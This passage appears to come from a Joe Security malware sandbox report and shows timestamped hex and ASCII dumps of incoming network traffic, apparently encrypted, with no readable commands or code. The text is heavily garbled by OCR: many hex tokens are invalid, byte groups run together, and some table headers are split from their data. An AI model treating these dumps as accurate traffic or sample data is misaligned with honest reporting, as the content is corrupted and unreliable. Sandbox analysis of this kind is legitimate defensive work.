4a el cfeb ce a6 bf a0 a4 81 a7 ca 12 fa f8 ae e7 a4 fc a8 d8 71 4a 9d e6 b9 06 e6 9c 47 45 9d 39 03 33 f9 22 07 Oe 5e 32
dc e7 1f 94 30 49 05 a9 45 a7 0d ab 39 9a 7c 7f 4b d9 a7 2a b6 da 77 42 f6 5f 07 ec 85 a7 28 5e 70 54 29 c0 9f b3 8d 01
32c29a 16 le d0 b7 a0 ed 4b 7a 88 2d d7 dc 99
Data Ascii: Sgfon7XIt.VU_Mw,*bfiCxC(.4 ' wI'FQc9e7R@sYKS8It?{4E|_JqJGE93" 20IE9|K*WB_("pT)2Kz-
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Timestamp transferred Direction Data

2021-10-13 13:51:48 UTC 254 IN Data Raw: fa bc d4 f8 4a 75 28 36 c2 3a 5a 51 1d 31 48 08 3d c0 62 3c 9e 87 58 3c 80 c6 8¢ 43 8b 97 81 5d 79 d7 d1 04
7e d5 54 e9 97 7f ec 29 fd f9 81 4b 2b ed bf f9 fO ca f8 7b 8b d5 a0 1a c0 69 04 d2 2c 19 45 89 85 b2 62 d2 35 e2 3a 14 c2
20 ff 3c dd b4 26 9f 32 fc b7 35 63 4b ¢3 b1 ca 5f ba dc dc 89 f4 4¢c 29 25 6b 26 a2 02 ca el 57 14 43 52 8a 81 76 f6 e2 30
c3 be 5 3e 65 4f bf 47 f9 95 d0 59 dd e0 fc e3 be 17 70 c9 89 a4 d6 10 e4 5c 69 09 8b a0 d0 05 39 fa e6 a2 93 80 66 ef 97
937 09 1b lach 41 04 71 2a 8e 6e 88 95 3c 34 54 ff 45 b0 6e 41 49 e8 87 d2 65 36 Oc 26 62 69 24 c1 1f b7 ed 04 24 69
cc aa 1d b6 84 9c 85 1c 2 5a be 20 5a 67 ca 84 49 e3 50 60 4d e5 fd aa c7 8f 2a 5a ab 23 6¢ b7 6b 25 92 77 3e 11 9e 18
4554 58 69 14 fc a6 61 eb 9b a5 ff 30 dd d8 Oe
Data Ascii: Ju(6:ZQ1H=b<X<C]y~T)K+{i,Eb5: <&25cK_L)%k&WCRv0>eO0GYp\i9fAq*n<4TEnAle6&bi$$iZ ZgIP M*Z#|
k%w>ETXia0

2021-10-13 13:51:48 UTC 255 IN Data Raw: 61 €0 Oe 5b 7f 19 86 13 19 2e a4 87 23 48 04 ab d5 47 a4 9c 15 1d b1 ac f9 de d7 66 27 b2 43 f9 89 ec a4 e5
22 6a af c8al 57 c2 ad 29 ce e2 20 48 b2 c7 a9 36 6¢ c7 9a fe a2 93 cb 6e 19 31 33 a2 1a f0 2b 56 03 c7 9 7a dd 6¢ ea
cl 5 fb f2 fO 7b fc 38 42 19 97 27 ¢5 82 fO bc a6 2c b7 a4 58 5¢ 11 4e a8 5c¢ cf 61 d2 9e 3b 13 b2 02 e7 5f fe 2b 76 c6 b9
38 5b d5 e9 71 cf 6 bd 49 08 12 b0 cb 8a 3c b5 f2 ac c5 62 af b7 dc de 73 4a 4f 32 a3 06 7a ad 5b 8f ca 1b 29 ab e7 f4 fc
ef c4 99 dc 64 8b a3 cl1 42 f5 al e3 ¢8 1c e2 1f 33 dc Ob 8 6¢ 55 f4 b3 c7 6a b9 f0 el b7 3a f3 aa 38 88 09 85 22 a2 be le
4b 28 c8 72 55 ee 6b fd c3 86 f4 61 a6 f2 c1 91 bc 78 bd 88 5f 52 ad 5e 46 40 93 94 66 38 aa e3 03 1d be 4e be 6b 32 a2
27 ¢1c9 79 09 Oc 88 c3 fc 3c 5¢ 23 e8 20 2c 8b
Data Ascii: a[.#HGf'C"jW) H6In13+Vz{8B', X\N\a;_+v8[ql<bsJO2z[)dB3IUj:8"K(rUkax_R"F@f8Nk2'y<\# ,

2021-10-13 13:51:48 UTC 256 IN Data Raw: bd bf 82 80 45 8f b5 28 14 36 ea Ob 97 6 25 11 32 8f 79 c8 e0 b6 a7 c2 4b 52 9d e7 ee 62 ee 2f Of ce 26 8f 22
61 4f 55 25 8b 2b ea f5 b5 8e 61 a3 8e bb 95 el a9 fe 16 5f 15 b4 09 09 85 b1 ab f1 5a 58 a4 9e 28 d8 c0 39 76 a9 c0 f8
53 b1 86 3d 8b 5a 13 46 b9 1f 68 20 4 f4 a7 47 e8 d9 c4 Ob a6 f9 ad 1b a9 17 e6 e3 d7 62 da be 59 32 6f ac 4a 59 73 7a
386231109610 0d e3 64 c4 41 13 4a d2 89 c8 58 b6 8f 32 27 ed 9d c1 46 ad 34 92 33 80 bc 1b be 04 f6 00 cd Of 9e
2c ef bf f1 73 8b a2 8f 14 c4 e3 da 45 ec 43 8a 83 b6 ef f3 3f 40 ca 5¢ 7e ef 70 23 b9 b9 33 69 e9 4a 0f 21 4 ef 3f b0 2a 60
Ob 05 2f 28 12 3d fe 5a 10 60 cO ae dd 42 83 13 ce c8 8d b3 1f d5 24 ab 58 8a 76 9c e6 f2 77 82 7b al 9e d7 6a 60 90 11
da ca 98 4d 70 9d 91 b8 67 0f 58 77 aa ca e7 76
Data Ascii: E(6%2yKRb/&"aOU%+a_ZX(9vS=ZFh GbY20JYsz8b1dAJIX2'F43,sEC?@\~p#3iJ!?*"/(=Z" BSXvw{j MpgXwv

2021-10-13 13:51:48 UTC 257 IN Data Raw: 9c 8e 9b 5b 87 b6 16 d4 a4 1e e8 ad ea d7 71 d9 al 6d a8 99 92 21 1b 75 03 8c 76 a2 59 8 8c ba e3 8f 57 ed
8af5 7b 86 9e c2 13 aa 51 1d 31 51 4e 20 c0 67 59 Of f2 0a 6a e3 38 87 78 60 2f be 34 ea 9c 8b 7c 93 83 bc b8 76 2a 1c
27 7c 0d 8e 7d 18 29 e4 72 98 1a 9b 05 f1 7a Oe 8f 3e Oa ac d3 96 €8 57 aa 2d 39 27 ad 7c b3 47 85 df 6¢ 1c 3f 50 70 b3
54 86 17 18 ea 84 ea 5a 4e 65 58 04 1d 24 75 Ob 30 60 98 4e 15 28 a9 29 1e de 99 13 ff 32 96 5a 0f 77 70 b3 16 fa el 77
3e 6a 6 08 6e 2f 09 06 85 c8 €9 be 17 ac 2e ¢8 02 7b b9 64 cc 3a 09 8b 72 57 dd 7e b9 92 1b 2b 1f f0 58 90 e6 €0 c7 4b
d5 4d 49 83 f4 6a 7b 91 77 ¢5 91 70 a7 a3 13 52 bb 41 c0 bd a0 fe db c7 cc 52 47 74 75 37 4d el 6f b6 cO 24 6¢ ac 19 b6
4d 6¢ 85 1c 1b 98 f8 97 58 7e 34 7b c2 a6 fb bb fe 50 Oc
Data Ascii: [gm!uvYW{Q1QN gYj8x /4|v*|})rz>W-9'|GI?PpTZNeX$u0 N()2Zwpw=>jon/.{d:rW~+XKMI{wpRARGtu7M
0$IMIX~4{P

2021-10-13 13:51:48 UTC 258 IN Data Raw: bb f3 42 36 b4 {7 fc a9 6¢c aa 93 7c 02 7a db fc f9 20 8f 3¢ 79 7f b8 4a e0 b3 91 d6 12 31 a7 af 55 aa 5e 1a ad
6c 6b 66 €8 96 4a 14 fa 6f a6 7f 94 bc a6 45 d8 cb 78 ¢9 80 83 17 0d c3 a3 18 65 8 95 41 1f d7 99 8a 34 2c 6¢ de 98 3a
aa a5 41 29 e4 fe 97 cd ae 6a 8c 5f 7d 0a 09 52 1d d3 5a 21 01 4b b1 f4 bb dd 3f b7 10 56 87 98 33 8f 29 Oe 87 9f 27 2f d4
38 d1 09 2c d5 7c 43 e9 af f2 69 76 c2 Oe 21 45 4e 96 e5 72 15 97 d3 75 f5 7a a0 66 fb 2d 60 4d ac a7 bd 74 7a b4 a2 f2
43 50 3d 23 23 ac 8a e0 26 c6 4c 8f 4e 4e b4 36 b3 7c a9 bl 9a 5f 34 7c 2f f4 56 34 12 f2 06 45 53 a9 be 9d 1e 89 96 6d
01 3c a2 a0 02 6d 50 15 08 6¢ 32 4f af d3 f1 95 d0 5b dd e0 2e ed be 17 7e 80 c5 d0 e9 e0 08 fd 6d 09 8b 7a de 11 ac f4
63 76 el 32 65 32 93 e6 30 bd e0 ed 34 13 df 4f 6b
Data Ascii: B6l|z <yJ1UMNkfJoExeA4,|:A)j_}RZ!K?V3)'/8,|CivIENruzf-'MtzCP=##&LNN6|_4|/VAESm<mPI20[.~m
zcv2e2040k

2021-10-13 13:51:48 UTC 259 IN Data Raw: 1b 90 72 0d 51 f4 78 37 d2 d9 ce a6 3a c7 7d 8c 05 84 €9 2b 87 ba 1c a8 47 dc a5 34 ec 4e 38 6a 11 26 a5 b6
8824 22 3e e5 6d b5 52 57 17 19 de Oe 92 12 20 ca 8e 59 12 df 1d 7f af 9a 1le 7f f6 22 4a 1a c3 09 dc 63 fb da 8b Oe d4 35
ac a2 9349 21 e8 15 c¢6 54 b1 Oa a8 cd 8d db 33 ¢8 1d 5a c9 cb 10 8b 92 a3 64 6b f2 93 58 eb 38 €9 ca 12 6e 9e ae 7 9f
fb df 87 6e 5¢ 4b ae 16 71 42 12 44 24 3e b5 3e 69 ac b6 c9 f9 ee 7b 84 46 a7 e7 da 81 2f 71 75 fb 2b d4 b2 a6 19 d3 4e
fc 23 11 99 62 13 e3 de 04 ¢3 f0 3c 7d 79 3e 73 05 52 09 8d b7 Oc 29 5b 84 df 19 a5 95 bc f2 13 ¢1 04 9f 6d fb bd 8 48 f7
9d dc 20 cc b9 b3 74 01 e7 e0 Of fb 6e 41 f8 ce 3b 2e 5a b2 06 20 ba b4 ec 2b 6 de 1e f0 0d 99 39 2a 8a 48 ac 5b 66 ce
e4 20 a4 e0 23 f5 e0 41 9b 88 74 00 75 4b cd fc 2a
Data Ascii: rQx7:}+G4N8j&$">mRW Y"Jc51!T3ZdkX8nn\KgBD$>>i{F/qu+N#b<}y>sR)[mH tnA;.Z +9*H[f #Atuk*

2021-10-13 13:51:48 UTC 261 IN Data Raw: 9e ¢8 30 90 3a f3 8 4e ea 23 07 c4 4 6a f4 86 25 93 be 38 49 ae 13 db 7f 17 16 b6 bc 17 5d b3 cc 09 47 07 2¢
fe ce 18 11 ¢5 72 e2 42 f5 41 5e b9 96 c0 e4 fc db 56 2d 54 54 4d 80 43 e3 Ob ba f8 33 31 72 d0 21 28 5d 15 5f 03 fa 6b
a6 dd 68 33 19 26 00 6 14 f0 34 d7 7 d3 ec 02 ca ad b3 31 d6 5¢ 7b ba 14 e2 el c1 56 a0 1a f4 41 b5 07 a6 97 bc e9 02
9529 21 a2 15 dc cd e6 ef a0 24 13 4b e0 c0 4b 9e dd e9 64 c7 5f ff 7f d7 ff f2 f1 a9 2a 6e 7e 28 cf 04 89 9c 15 cf e8 Oc 7c
de 4a 85 69 01 87 84 fe Ob d8 56 €8 b9 0f 22 42 3e c1 d7 1e 27 a6 c6 c0 20 35 28 7b db ad el bc 87 e3 5¢ 4d d7 56 90 da
€0 fe 9a 54 c7 5a 4b 1a 0f 13 9a 42 68 8b a0 8d 96 26 a0 33 cf 7f e6 68 b4 80 63 ed 3e 30 07 b8 7b 60 7f ab 07 44 fd d6
65 64 a0 ed e7 ef cb 80 81 80 f3 48 1c al e4 77
Data Ascii: 0:N#j%81]G,rBANV-TTMC31r!(]_kh3&41\{VA)I$KKd_*n~(|JiV"B>' 5({\MVTZKBh&3hc>0{ DedHw

2021-10-13 13:51:48 UTC 262 IN Data Raw: ef 49 fc 63 85 1c 80 a7 76 f1 f8 57 aa 2a 0f 23 fO 6b 4b fb 8e 0d 47 5f 52 08 4d b5 d8 19 a5 08 f2 bb a3 42 ff 2a
08 03 al d5 b2 49 28 24 51 20 03 8d b8 57 b1 f4 83 11 5d 07 96 c0 3e 33 5¢ cd bf 8f 69 4a 29 3d 6¢ c2 b9 85 d4 fc 14 fa
bc 8a 9e d3 75 9d 68 9 96 75 5d cc 50 40 37 b7 b9 14 2b 16 ae a6 6f 88 d9 11 52 fd 47 ad 4e 75 6a a3 6d 51 f1 fO 31 b4
36 fd ae 51 6 5f 94 52 1b 5f a9 e7 04 05 2c 4f 7f e2 9f bf 31 07 c1 d3 7b 37 87 42 dd 9f ac 1c 11 60 29 68 79 10 bb ec fd fd
7f99 49 b2 bd e6 69 91 60 18 {7 dc e3 e3 a5 58 Oe 2b dd 47 b2 1f ba e0 35 fb 48 5a 3a d0 2d 77 26 8f bd 21 6e eb 3f 1a
3a 7c 5¢ be 1b 48 ee 4c 46 20 fc 6e 7d 36 c6 60 b0 aa d7 9a 1f dd 26 89 0d 1e 95 3f c4 d0 20 ee 7e 27 7b 77 fb 7d 4f 81
78 aa 49 7f 1f Ob bd 7d 59 63 06 97 e5 be 6b
Data Ascii: IlcvW*#kKG_RMB*I($Q W]>3\iJ)=luhu]P@7+0RGNujmQ16Q_R_,01{7B")hyli' X+G5HZ:-w&!n?:[\HLF n}6'&?
~'{w}OxI}Yck

2021-10-13 13:51:48 UTC 263 IN Data Raw: 06 9a 18 10 40 87 5¢ 7d 95 c1 d4 1e 97 e4 ec d2 91 41 6b 61 59 21 a6 36 60 el fb 4a 04 fe 6d 18 81 6e fe 7f 6f
51 f4 4e 33 d9 21 14 b9 9d ac 83 16 bb 1d e3 a2 69 d4 df d2 f5 72 93 5a 85 86 13 46 15 c7 ee da el 29 3c 64 5f 03 5e 3e
57 94 56 94 56 4e bc d8 bb 22 a2 c0 90 06 9 bf bc 36 d1 22 3c 98 6f 4e 5¢ a3 f5 68 dO c1 dc d5 b8 el 56 99 46 1d 55 da
88 ec 4f 3¢ 85 be af 9f ed 16 €5 54 68 7b 72 1d ae 28 43 80 75 91 58 eb ef {3 b5 7e 76 a5 eb e7 c8 9e cb 31 6¢ 6¢ a7 70
39 e8 9d bf 27 eb 84 ba e7 46 18 d7 bb 15 67 3e b3 8f e6 4d 53 ae ee a8 66 db 3b 67 81 d0 d7 fb 44 7d d7 1d 23 ce dd 96
57 59 f7 7b 71 e0 64 f3 78 8e 44 d0 7d fa 9a 47 35 fc db 11 ed 2d 88 f6 bb d6 45 82 91 ac 5c¢ fb 72 d7 24 45 d5 ab b9 38
b2 1178 7379 21 2d d5 e9 78 39 97 07 71 d6 67 4c e3
Data Ascii: @\}AkaY!6"JmnoQN3!irZF)<d_">WVVN"6"<oN\hVFUO<Th{r(CuX~v1lip9'Fg>MSf,gDH#WY{qdxD}G5-E\r$E
8xsy!-x9qgL
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:51:48 UTC 264 IN Data Raw: f2 bb 32 0a 08 95 d0 f6 02 4d 94 91 34 fc 76 52 ca 00 25 85 88 d1 20 f5 da a3 7b 80 a3 79 e6 21 le c9 19 a6
ce e8 a2 63 40 4d 95 ca 6¢ a9 a9 43 fa 02 8d dd 48 1f 25 14 5b fe 37 c2 9d 10 19 eb fb ca d9 da 69 2c 31 27 e5 86 70 4f
39 cf 2e 19 d7 f4 e7 6d 28 29 9e ae fc 02 db 40 82 23 el 86 a6 50 €9 3d e2 d2 9b 5b 54 43 b7 86 b1 69 25 92 67 e2 48 aa
834181 36 d1 8a b7 2b 5¢c 28 ab €6 43 f2 03 16 f2 79 49 e2 79 88 15 5b e2 e3 41 b2 07 27 4c 6 e5 68 aa 60 ee 24 df 73
daf2 31 e5dcc2clalbbdf19 df 77 43 9¢c 00 f1 75 f3 02 11 7a be 78 dO de c1 37 9c 3c 88 ce 13 30 cd 2b de c7 3f 96 dO
13 03 fb 21 dO Od b7 6e d1 3f f4 72 7e af 0d d6 25 4f 4e 18 02 ab Oe 16 63 64 f6 5¢c 67 51 2c cc 59 26 17 a4 04 fa 60 c4 21
74 e0 fe 04 ef a4 1c fa 4d c3 6a ad 58 62 bc 23 b5
Data Ascii: 2M4vR% {y!c@MICH%[7i,1'p09.m() @#P=[TCi%gHAG6+\(Cyly[A'Lh $s1wCuzx7<0+?!n?r~%ONcd\gQ, Y&t
MjXb#

2021-10-13 13:51:48 UTC 266 IN Data Raw: ec ff b2 2a 1f cd 73 f8 c7 2e de 46 19 7f 7a ba 1f d6 19 a9 db ec df a4 e2 ec ad 5b 66 1b 58 b9 3b f4 46 62 03
la b8 8e 94 c4 f4 cl d7 96 35 ec 2a 48 9¢c 42 f9 52 28 al 8a Oc 74 63 d4 6e 56 ea 64 18 33 eb 79 f5 f1 a4 36 b9 9e a5 87
d5 02 45 bd 83 51 a9 e5 e2 5b 75 1e 8¢ f7 43 fe 68 29 99 b8 4d 6d c3 Oc fc 15 b4 c0 9b 51 44 5f b9 ec 77 e4 3a 4a 26 31
77 fb b5 al dd 73 ¢3 5a 48 69 cc 08 01 b9 2e 4b ce 75 5b d8 b0 b9 ¢7 62 9d f1 70 b7 6a f5 68 7e 93 ab dc 5d fc 3c ¢7 70
4d 66 c5 01 2d 98 ff 13 4d d2 a5 c3 8a 55 6a 54 d5 10 ae 1c 7f 1f 6e eb a6 dc ¢3 19 76 4d a4 b2 7c b1 28 7b 86 06 5d 10
41 03 de 81 85 10 7e d1 48 64 9d 41 4e 3509 a7 67 55 f8 53 93 28 98 26 1a a0 a0 5e 49 e0 dc ee 38 f4 2d a9 7b 36 90
a2 64 a6 b2 ee 7c 34 94 88 d0 7c c6 71 3b a2 a8 3f 28 25
Data Ascii: *s.Fz[fX;Fb5*HBR(tcnVd3y6EQ[uCh)MmQD_w:J&1wsZHi.Ku[bpjh~]<pMf-MUjTnvM|({]JA~HdAN5gUS(&"I8-
{6d141q;2(%

2021-10-13 13:51:48 UTC 267 IN Data Raw: d7 84 3a f8 3f 35 03 be 28 4d ce fd 58 56 91 Oc 37 63 €7 3c €0 17 1a d6 c3 e0 84 e6 15 42 04 b4 4a 12 30 ac

db a3 66 82 b4 d5 bb 02 43 70 b3 db 82 ce 8b 72 36 a9 14 ac 00 40 36 ce f9 eb 38 1c d4 af 60 b6 bc bc 56 58 d2 29 e2 Oc
bd 2b 5a c8 b3 a8 a2 dd d4 bb 9a 86 b9 30 8d 90 d1 25 d4 71 39 98 d6 a2 d7 24 1b 2a e0 ab a5 c1 81 13 2e f9 22 3c f6 32
6d e8 c2 82 a8 53 el 1e 61 ba ab 69 4a 66 94 45 de 81 73 7b 99 a8 ca cc 59 fc d1 dd 14 85 64 2a 01 6a 91 06 f5 a0 a5 a3
f5 d2 ba 09 c3 71 dc ad 70 4e 2b 45 b3 bl 4c 7a f9 c¢5 80 ac a7 a4 9e de 92 fd 05 cd 2e 2¢ 81 1b b5 5¢ 7c 91 e7 a2 bb 2b
8e ee c5 16 25 b0 6¢ 8 d4 89 88 92 a4 28 6f 86 b6 42 c7 5e 3¢ 25 2f 02 86 31 ad de 78 4e a7 1b 5f a0 6e 99 aa 90 23 9a
cc 25 f8 81 af 99 4c 75 25 39 28 72 37 96 97 5¢ 6¢ 73 95

Data Ascii: :?5(MXV7c<BJOfCpré @68 VX)+Z0%q9%*."<2mSaiJfEs{Yd*jqpN+ELz.,\|+%I(0B"<%/1xN_n#%Lu%9(r7\Is

2021-10-13 13:51:48 UTC 268 IN Data Raw: 6e 1b 37 9a 5¢ d9 19 e8 de b7 5f 7d 9d a5 92 16 33 11 3d db ef 74 51 61 45 a6 c1 4c f4 82 bf 9e bc 47 99 fe 9d
30 b5 f7 3d €2 b7 57 5b 73 50 94 02 78 04 dc 2c 1f 18 7c 42 a2 c9 c0 94 48 Oe 99 €9 27 ea 8e 48 3b a7 c3 48 5a dc c9 58
36 26 91 38 57 aa 86 88 7f 7d 09 96 90 94 ad cd 47 62 61 b5 f7 4c fc 36 90 36 ¢8 72 38 c3 e5 c2 ec cb db 01 6¢ d1 97 fb
a2 89 e2 d4 da e6 cc 09 6b 89 73 f2 cd 32 3a ad 65 cd 7a 2e d3 eb fa 79 Oc e9 e4 95 2a 47 8f 72 14 49 9d bc fc 86 ee 65
1d 9a 22 af b6 1f 64 f8 35 ed d1 cd 26 59 ec 75 6a 32 26 25 79 26 41 3f 3b a3 ae f2 b4 2d ab ac c6 ff 72 9d 63 85 81 f3 ce
e4 6b 48 59 90 46 99 c3 67 8a d1 b7 d0 2f 38 75 54 88 30 c0 15 35 86 f0 43 a7 25 44 32 76 b6 82 be 34 bc a3 f4 c6 78 a0
ca 84 6 ea 1f ed 57 d9 53 ce a2 3¢ 68 1b bb 01 63
Data Ascii: n7\_}3=tQaELGO0=W/[sPX,|BH'H;HZX6&8W}Gbal 66r8lks2:ez.y*Grle"d5&Yuj2&%y&A?;-rckHY Fg/8uT05C%
D2v4xWS<hc

2021-10-13 13:51:48 UTC 270 IN Data Raw: 4a 1f 39 ff 59 ff 43 91 97 c3 66 92 2d 10 e4 57 68 71 46 cc 08 fe bf c1 Oc 85 47 ea bb 23 fd cc 9b 81 2e el 22
a4 7f 76 55 d8 3c 23 92 95 73 ea 69 62 f4 6a 97 a3 66 c¢8 21 18 e4 59 65 e5 3d f2 52 31 76 d6 1b 61 bd ac b1l 76 b9 e4 51
76 4f c3 54 8f 87 36 41 fd 97 a5 00 db 1b 89 e6 bl aa bb ef 9e af 86 79 f0 bf fc f2 99 67 56 48 26 9e 31 de Oe 52 31 5e a7
fa cb e5 {7 4e 61 fO dO 3f 07 97 9a €9 99 38 79 80 cf 95 cb 7d 08 Oa 9f 4d 42 4d 55 3f a9 54 c0 6¢ 29 76 f5 02 21 23 99 b6
76 18 47 5f bb 87 2d 69 57 42 15 48 0d 5f 52 12 f7 5d b9 ba 85 52 16 35 b6 32 19 8c ef d1 6f 7f 22 da bd 62 f0 98 38 7b 37
a4 bl a2 8e cd 72 8c 4f e6 Oa 8d ad 8d ed 30 3d 76 d8 af 96 8b 35 29 6d 3c 2a 4a a4 ce b3 68 bl f5 d7 ad 69 7a 47 f8 23
11 dc f2 f1 32 c6 54 98 be ed be c9 3f ad 1d
Data Ascii: J9YCf-WhgFG#."vU<#sibjflYe=R 1vavQvOT6AygVH&1R1"Na?8y}MBMU?TI)v!#vG_-iWBH_R]R520"b8{7rO0=
v5)m<*JhizG#2T?

2021-10-13 13:51:48 UTC 271 IN Data Raw: 07 aa 7b 56 96 46 4f 35 bc 25 2d 4c 20 31 f3 95 80 8a al 5b Ob 48 f2 87 a5 ff da 2f aa 37 c0 2a e3 f0 ef {8 2c 64
72 4d e7 a3 6b 18 52 c2 3a ¢3 33 2d 9f 8a a0 4b 3a 7d 1a f6 f0 20 Ob 11 8d 4d 49 ae 34 25 33 9a 6d 1b 61 d5 ba b0 7d ed
41 ce cd aa fe 6d 4c 2c ¢5 78 9d 6b ff da da cb 7c 49 7f b9 df ce 71 bb 4f 09 6b 34 99 a4 0a 87 37 bf f0 77 c4 c2 ab 38 df 9f
€595 58 10 94 92 23 a6 79 8b 9f 75 eb 6a 19 91 f9 16 8¢ 11 ac c2 1f 70 ca ad ce ac 16 c6 85 c9 35 06 f9 41 7e 77 6f 95
55 0d fb 6a 5d 95 5d 37 d8 b9 9a c8 2d Oc 5a 8¢ 21 ab fe 47 cc d7 de 2b 5f 27 85 2b ec 37 8b 27 10 b9 9a 91 a5 23 28 3b
49 9e 49 5e 33 33 4e c6 6¢ bf 02 61 f2 59 4c ¢3 3b 3f 96 23 6¢ 29 c6 eb dc 9¢ 90 be 84 73 73 9¢ 36 b8 57 95 77 2a 4b 70
5f 77 05 57 c0 8f ¢7 b6 e0 6f 54 c4 2¢c d7 60
Data Ascii: {VFO5%-L 1[H/7*,drMKkR:3-K:} MI4%3ma}AmL,xk|lqOk47w8X#yujpSA~woUj|]7-Z!G+_"+7'#(;II"33NlaYL; ?#1)ss6
Ww*Kp_wWoT,"

2021-10-13 13:51:48 UTC 272 IN Data Raw: 64 85 d2 69 07 be 51 84 c4 ed ee 9e 96 04 27 2e 33 f2 2e c6 6e 00 b4 bd 1a b1 b0 df c3 8a 15 8b 88 b5 e9 ad
9a 09 5d 77 bb 74 0b 30 b2 53 b5 6d 32 Ob 82 c5 61 6b €5 f2 07 3f ¢9 70 22 fb d4 c2 e6 44 3a c2 3a 54 5e el 5a 01 b8 c8
5b ¢l 16 61 b8 99 af dc 6¢ Oe 04 19 8e 06 3c b7 8f 85 04 7e e6 a2 95 40 43 95 3d 94 f6 30 93 4f 17 ¢8 cc 2c Oc b8 d4 7f c8
5c bd 5a a4 d4 1d 4b 77 26 9a 70 70 9a f6 38 68 c5 6a 2c cb 8a a4 fd e5 3e Oc be 3a Oe a2 99 25 8¢ 1c b6 db 4a 2c 61 ad
bd 43 Oc Ob 6e 99 92 bl b6 7c 6e fb e7 d4 b4 48 fa 5f a2 9f 56 7f ea 31 b5 5b da d3 86 cf d8 f0 33 de 5d f9 54 68 ca 87 d7
9 78 4f 69 89 c9 71 71 Ob 1f 0f 93 8¢ 78 c2 fe 0d 52 23 6e 6 d1 70 dd 63 f1 7e dc dc 41 ¢9 12 7d c3 9e 12 75 c9 92 83 fd
94 1e Oc 82 72 68 67 d4 3a 9b 0d 1f fc 09 5a 65
Data Ascii: diQ'.3.nJwt0Sm2ak?p"D:: T"Z[al<~@C=00,\ZKw&pp8hj,>:%J,aCn|nH_V1[3]ThxOigqgxR#npc~A}urhg:Ze

2021-10-13 13:51:48 UTC 273 IN Data Raw: e2 4d 53 97 bc 71 ae 83 a3 91 7e ¢7 d8 d1 38 46 9f ac c0 c1 71 77 d9 f8 76 cf 70 6d f2 cO f9 3e 45 82 f0 d5 66
7d 66 44 3a 8e ee 3a 66 2e f4 28 ce cf 05 00 e5 8¢ 31 ca 75 ¢7 72 9d ee bl b7 6d 65 24 2f 4c al 73 05 6f 3b 5d b7 70 55
a3 c7 78 ab c7 8f f5 8e 35 e4 67 59 25 5¢ 27 24 dd da 4c 1a 29 43 49 de Ob 1f 29 43 05 1b 07 42 47 cf 79 61 e2 a2 1c e4
cc 4b 8f 5b 10 b8 d7 a4 e4 a2 36 a3 5e f6 79 35 43 ab 3b 48 60 56 a5 15 b0 74 c0 15 34 71 54 8f ce ¢5 3d 79 7f 07 57 29
3e 6e 5d 25 38 a7 f2 51 75 30 1f ¢3 93 94 03 49 9b 4e 14 8e a9 e6 bf €0 bc 25 e9 85 99 10 c9 67 Oe 99 al d4 93 98 17 52
ea d7 5d df df a6 2c a9 93 21 92 78 4a 21 81 5d d2 41 cf 06 7b 03 da 5d 7d 7e b5 54 77 9e a4 de 51 1d 2d 60 c9 e2 b4 10
57 e4 ba 59 3c Ob 3e 7b 9¢ 1c 12 c6 29 6f 5¢ 84 8¢ 3e
Data Ascii: MSq~8Fqwvpm>Ef}fD::f.(Lurme$/Lso;]pUx5gY%\'$L)Cl)CBGyaK[6"y5C;H Vt4qT=yW)>n]%8QuOIN%gR],
IXINA{~TWQ-"WY<>{)o\>

2021-10-13 13:51:48 UTC 274 IN Data Raw: dO 2d 6f a6 68 28 53 31 8f ae 7f cc ac ¢3 Ob f3 9a e7 37 c5 fd b6 8f 18 ec 73 ba 42 f6 48 13 al 99 55 07 27 d8
4303 90 ac f1 11 bf 2e 9c ed f8 74 e7 c4 18 bb d2 af 07 fc €9 72 64 3b al 15 ac 5b 78 83 3d 99 83 87 54 ee a8 1e 53 25
8 7f f5 bf 86 58 ff 74 64 6 fe 37 32 15 35 2f 92 59 2c 3a ed a0 44 5b 6e 90 33 a0 6b 3d 20 2d c6 ef 32 fe 7e 04 c¢3 80 ef c8
ae 48 cd a0 fa 90 e6 9c 6f 8e 55 a3 44 31 66 4e 49 20 el 9a 8e 37 f5 a0 ee 8e 52 a4 66 a5 f1 18 ab 64 87 b9 e8 ca 6d d1
d4 e4 a0 02 b2 74 20 3b a5 1c 6f 4f fb ae 5b 10 51 138 30 f5 77 78 al 09 f2 7c b6 56 7c 0d 5¢c 03 ed ed 56 49 a9 11 50
e7 46 ea 27 76 4f 59 b8 aa 52 bd b9 el ba bf 75 38 cd 67 8e b6 5e 87 9b el f0 07 4a db eb 6f 3f 24 be 6d e9 4e 7f 96 21
2b d5 0d Oe 48 32 24 d5 ce b8 a4 69 13 c2 eb 31
Data Ascii: -0h(S17sBHU'C.trd;[x=TS%Xtd725/Y,:D[n3k= -2~HoUD1fNI 7Rfdmt ;00[Q0wx|V|\VIPF'vOYRu8g”"Jo?
$mN!+H2$i1
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kBytes
Timestamp transferred

2021-10-13 13:51:48 UTC 275

2021-10-13 13:51:48 UTC 277

2021-10-13 13:51:48 UTC 278

2021-10-13 13:51:48 UTC 279

2021-10-13 13:51:48 UTC 280

2021-10-13 13:51:48 UTC 282

2021-10-13 13:51:48 UTC 283

2021-10-13 13:51:48 UTC 284

2021-10-13 13:51:48 UTC 286

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: fa 37 ¢7 6d f9 3c 61 b8 60 1c 19 85 b0 82 22 17 13 4f fa d6 34 18 1a 50 56 8b €9 52 23 6d 32 3c bf 22 63 92 2b
ed 8e cc 40 85 23 2b 15 Oc 26 15 2f 78 52 01 e9 dc 16 e9 6e fd f5 cb 9b 36 1f fc 8a 9e c2 a7 7b 7c ab 43 9f cf 08 5¢ ea 25
e4 07 42 20 f6 6a 62 50 a6 8f 49 9a 2a 8a 18 c5 f4 68 a3 Oe 5e 63 9f 4e dc 68 da 2e b4 19 98 26 Oc 6¢ 73 4f 38 f5 39 d7
ea 58 07 44 29 fa 3b 0d 6e a5 €9 62 b2 d2 c2 fe 58 e0 02 ed 68 51 ac 20 92 33 03 94 fa 97 6e f6 00 el 7d c4 47 a8 41 Oe
19 8b ad 15 52 bb 2f e5 e4 bc 80 58 0d 8d 3f 5¢c 2c €9 62 9e 03 82 fb 63 2¢ 9c cc 96 9d 85 d7 56 f4 28 3f 5¢c al 84 7f 24
3b 7c 9d 8a 6a 6a ef ea 2f 5f 63 32 9a cb 6f bl f9 a7 44 c5 aa ee b2 fc e3 f1 d1 c7 9c 3b 3e 57 18 17 4d 06 19 54 af 04 cd
d6 16 4c 41 2c f6 4e 65 ae 97 ca 66 33 cf 59 d2

